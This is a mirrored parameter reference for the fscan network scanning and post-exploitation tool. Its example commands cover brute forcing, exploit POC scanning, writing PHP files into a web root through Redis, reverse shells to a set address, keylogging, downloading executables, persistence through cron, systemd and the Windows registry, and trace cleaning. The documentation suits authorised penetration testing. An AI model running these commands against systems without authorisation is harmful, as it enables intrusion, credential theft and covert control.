mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 删除DisableRedis字段定义和flag声明 - 移除相关i18n消息 - 更新PARAMETERS.md文档,删除-noredis参数说明 - 该参数已失效且在代码中无任何实际作用 现在如需禁用Redis扫描,应通过扫描模式或端口排除实现
262 lines
9.0 KiB
Markdown
262 lines
9.0 KiB
Markdown
# Fscan 参数说明文档
|
||
|
||
**版本**: v2.2.1
|
||
**分支**: v2.2.1
|
||
|
||
## 基础扫描参数
|
||
|
||
### 目标指定
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-h` | 目标主机: IP, IP段, IP段文件, 域名, **支持host:port格式** | - | `-h 192.168.1.1/24` 或 `-h 127.0.0.1:135` |
|
||
| `-hf` | 主机文件 | - | `-hf hosts.txt` |
|
||
| `-u` | 目标URL | - | `-u http://example.com` |
|
||
| `-uf` | URL文件 | - | `-uf urls.txt` |
|
||
| `-domain` | 域名 | - | `-domain example.com` |
|
||
|
||
### 端口扫描
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-p` | 端口扫描范围 | 1000个常用端口 | `-p 1-65535` |
|
||
| `-pf` | 端口文件 | - | `-pf ports.txt` |
|
||
| `-ep` | 排除端口 | - | `-ep 80,443` |
|
||
| `-t` | 端口扫描线程数 | 600 | `-t 1000` |
|
||
| `-time` | 端口扫描超时时间 | 3秒 | `-time 5` |
|
||
|
||
### 扫描模式
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-m` | 扫描模式: all(全部), icmp(存活探测), 或指定插件名称 | all | `-m icmp` |
|
||
| `-ao` | 仅进行存活探测 | - | `-ao` |
|
||
| `-full` | 全量POC扫描 | - | `-full` |
|
||
| `-np` | 禁用ping探测 | - | `-np` |
|
||
|
||
## 认证参数
|
||
|
||
### 用户凭据
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-user` | 用户名 | - | `-user admin` |
|
||
| `-usera` | 额外用户名 | - | `-usera root,administrator` |
|
||
| `-userf` | 用户名字典文件 | - | `-userf users.txt` |
|
||
| `-pwd` | 密码 | - | `-pwd 123456` |
|
||
| `-pwda` | 额外密码 | - | `-pwda password,admin` |
|
||
| `-pwdf` | 密码字典文件 | - | `-pwdf pass.txt` |
|
||
| `-hash` | 哈希值 | - | `-hash ntlm_hash` |
|
||
| `-hashf` | 哈希文件 | - | `-hashf hashes.txt` |
|
||
| `-sshkey` | SSH私钥文件 | - | `-sshkey id_rsa` |
|
||
|
||
## 网络配置
|
||
|
||
### HTTP设置
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-cookie` | HTTP Cookie | - | `-cookie "session=abc123"` |
|
||
| `-proxy` | HTTP代理 | - | `-proxy http://127.0.0.1:8080` |
|
||
| `-socks5` | SOCKS5代理(支持所有服务扫描) | - | `-socks5 127.0.0.1:1080` |
|
||
| `-start-socks5` | 启动SOCKS5代理服务器端口 | - | `-start-socks5 1080` |
|
||
| `-wt` | Web超时时间 | 5秒 | `-wt 10` |
|
||
|
||
## POC扫描
|
||
|
||
### POC配置
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-pocname` | POC名称 | - | `-pocname ms17-010` |
|
||
| `-pocpath` | POC脚本路径 | - | `-pocpath ./pocs/` |
|
||
| `-num` | POC并发数 | 20 | `-num 50` |
|
||
| `-nopoc` | 禁用POC扫描 | - | `-nopoc` |
|
||
|
||
## 高级功能
|
||
|
||
### Redis操作
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-rf` | Redis文件 | - | `-rf redis.txt` |
|
||
| `-rs` | Redis Shell | - | `-rs "echo test"` |
|
||
| `-rwf` | Redis写入文件 | - | `-rwf /tmp/test.txt` |
|
||
| `-rwp` | Redis写入路径 | - | `-rwp /var/www/html/` |
|
||
| `-rwc` | Redis写入内容 | - | `-rwc "<?php phpinfo(); ?>"` |
|
||
|
||
### Shell功能
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-rsh` | 反弹Shell目标地址:端口 | - | `-rsh 192.168.1.100:4444` |
|
||
| `-fsh-port` | 启动正向Shell服务器端口 | 4444 | `-fsh-port 8888` |
|
||
| `-sc` | Shellcode | - | `-sc payload` |
|
||
|
||
### 新增功能改进
|
||
- **智能目标识别**: `-h`参数现在支持直接指定`host:port`格式,如`-h 192.168.1.1:3306`
|
||
- **优化扫描逻辑**: 当使用`host:port`格式时,自动跳过不必要的端口扫描,直接进行服务检测
|
||
- **SOCKS5全面支持**: SOCKS5代理现已支持所有服务扫描类型,包括数据库和SSH等服务
|
||
|
||
**代理支持范围:**
|
||
- **HTTP代理** (`-proxy`): 仅支持Web扫描
|
||
- **SOCKS5代理** (`-socks5`): 支持所有服务扫描(MySQL、PostgreSQL、Redis、SSH等)和Web扫描
|
||
- **代理失败处理**: 当代理连接失败时,自动回退到直连模式
|
||
|
||
## 本地插件系统
|
||
|
||
### 本地模式
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-local` | 指定本地插件名称 | - | `-local cleaner` |
|
||
|
||
### 可用本地插件
|
||
| 插件名 | 功能说明 | 平台支持 |
|
||
|--------|----------|----------|
|
||
| `avdetect` | 杀毒软件检测 | Windows/Linux/macOS |
|
||
| `fileinfo` | 文件信息收集 | Windows/Linux/macOS |
|
||
| `dcinfo` | 域控信息收集 | Windows/Linux/macOS |
|
||
| `minidump` | 内存转储 | Windows |
|
||
| `reverseshell` | 反弹Shell | Windows/Linux/macOS |
|
||
| `socks5proxy` | SOCKS5代理 | Windows/Linux/macOS |
|
||
| `forwardshell` | 正向Shell | Windows/Linux/macOS |
|
||
| `ldpreload` | Linux LD_PRELOAD持久化 | Linux |
|
||
| `shellenv` | Shell环境变量持久化 | Linux |
|
||
| `crontask` | Cron计划任务持久化 | Linux |
|
||
| `systemdservice` | Systemd服务持久化 | Linux |
|
||
| `winregistry` | Windows注册表持久化 | Windows |
|
||
| `winstartup` | Windows启动文件夹持久化 | Windows |
|
||
| `winschtask` | Windows计划任务持久化 | Windows |
|
||
| `winservice` | Windows服务持久化 | Windows |
|
||
| `winwmi` | Windows WMI事件订阅持久化 | Windows |
|
||
| `keylogger` | 跨平台键盘记录 | Windows/Linux/macOS |
|
||
| `downloader` | 跨平台文件下载 | Windows/Linux/macOS |
|
||
| `cleaner` | 跨平台系统痕迹清理 | Windows/Linux/macOS |
|
||
|
||
### 插件特定参数
|
||
| 参数 | 说明 | 适用插件 | 示例 |
|
||
|------|------|----------|------|
|
||
| `-keylog-output` | 键盘记录输出文件路径 | keylogger | `-keylog-output keylog.txt` |
|
||
| `-download-url` | 要下载的文件URL | downloader | `-download-url http://example.com/file.exe` |
|
||
| `-download-path` | 下载文件保存路径 | downloader | `-download-path /tmp/` |
|
||
| `-persistence-file` | Linux持久化目标文件路径 | ldpreload, shellenv 等 | `-persistence-file target.elf` |
|
||
| `-win-pe` | Windows持久化目标PE文件路径 | Windows持久化插件 | `-win-pe target.exe` |
|
||
|
||
## 输出控制
|
||
|
||
### 输出格式
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-o` | 输出文件 | result.txt | `-o scan_result.txt` |
|
||
| `-f` | 输出格式: txt, json, csv | txt | `-f json` |
|
||
|
||
### 显示控制
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-silent` | 静默模式 | - | `-silent` |
|
||
| `-nocolor` | 禁用颜色输出 | - | `-nocolor` |
|
||
| `-nopg` | 禁用进度条 | - | `-nopg` |
|
||
| `-no` | 禁用结果保存 | - | `-no` |
|
||
|
||
## 系统配置
|
||
|
||
### 线程与超时
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-mt` | 模块线程数 | 50 | `-mt 100` |
|
||
| `-gt` | 全局超时时间 | 180秒 | `-gt 300` |
|
||
| `-retry` | 最大重试次数 | 3 | `-retry 5` |
|
||
|
||
### 功能开关
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-nobr` | 禁用暴力破解 | - | `-nobr` |
|
||
| `-fp` | 启用指纹识别 | - | `-fp` |
|
||
| `-dns` | DNS日志记录 | - | `-dns` |
|
||
|
||
### 排除设置
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-eh` | 排除主机 | - | `-eh 192.168.1.1,192.168.1.2` |
|
||
|
||
### 语言与帮助
|
||
| 参数 | 说明 | 默认值 | 示例 |
|
||
|------|------|--------|------|
|
||
| `-lang` | 语言: zh, en | zh | `-lang en` |
|
||
| `-log` | 日志级别 | BASE_INFO_SUCCESS | `-log DEBUG` |
|
||
| `-help` | 显示帮助信息 | - | `-help` |
|
||
|
||
## 使用示例
|
||
|
||
### 基础扫描
|
||
```bash
|
||
# 扫描单个IP
|
||
go run main.go -h 192.168.1.1
|
||
|
||
# 扫描IP段
|
||
go run main.go -h 192.168.1.1/24
|
||
|
||
# 直接扫描指定主机和端口 (新功能)
|
||
go run main.go -h 127.0.0.1:135
|
||
|
||
# 从文件读取目标
|
||
go run main.go -hf targets.txt
|
||
|
||
# 仅存活探测
|
||
go run main.go -h 192.168.1.1/24 -ao
|
||
```
|
||
|
||
### 本地插件使用
|
||
```bash
|
||
# 系统痕迹清理
|
||
go run main.go -local cleaner
|
||
|
||
# 杀毒软件检测
|
||
go run main.go -local avdetect
|
||
|
||
# 键盘记录
|
||
go run main.go -local keylogger -keylog-output my_keylog.txt
|
||
|
||
# 文件下载
|
||
go run main.go -local downloader -download-url http://example.com/file.exe -download-path /tmp/
|
||
|
||
# Windows注册表持久化
|
||
go run main.go -local winregistry -win-pe target.exe
|
||
```
|
||
|
||
### 高级扫描
|
||
```bash
|
||
# 全量POC扫描
|
||
go run main.go -h 192.168.1.1/24 -full
|
||
|
||
# 使用HTTP代理
|
||
go run main.go -h 192.168.1.1 -proxy http://127.0.0.1:8080
|
||
|
||
# 使用SOCKS5代理进行服务扫描
|
||
go run main.go -h 192.168.1.1 -socks5 127.0.0.1:1080
|
||
|
||
# 直接扫描MySQL服务 (新功能 - 优化扫描流程)
|
||
go run main.go -h 192.168.1.1:3306 -socks5 127.0.0.1:1080
|
||
|
||
# 启动SOCKS5代理服务器
|
||
go run main.go -start-socks5 1080
|
||
|
||
# Web应用扫描
|
||
go run main.go -u http://127.0.0.1:8080
|
||
|
||
# 暴力破解
|
||
go run main.go -h 192.168.1.1 -user admin -pwd password
|
||
|
||
# 输出JSON格式
|
||
go run main.go -h 192.168.1.1 -f json -o result.json
|
||
```
|
||
|
||
---
|
||
|
||
## 版本更新说明 (v2.2.1)
|
||
|
||
### 新增功能
|
||
- **智能目标解析**: `-h`参数现在支持`host:port`格式,如`-h 127.0.0.1:135`
|
||
- **优化扫描流程**: 对于明确指定的host:port目标,跳过常规端口扫描,直接进行服务检测
|
||
- **统一结果显示**: 修复了端口扫描结果显示不一致的问题
|
||
|
||
### 改进项目
|
||
- 提升用户体验,支持更灵活的目标指定方式
|
||
- 优化扫描性能,减少不必要的网络请求
|
||
- 增强目标地址验证逻辑,支持更多输入格式
|
||
|
||
**总计参数数量**: 70个命令行参数 + 19个本地插件
|
||
**更新时间**: 2025-08-12
|
||
**版本**: v2.2.1 |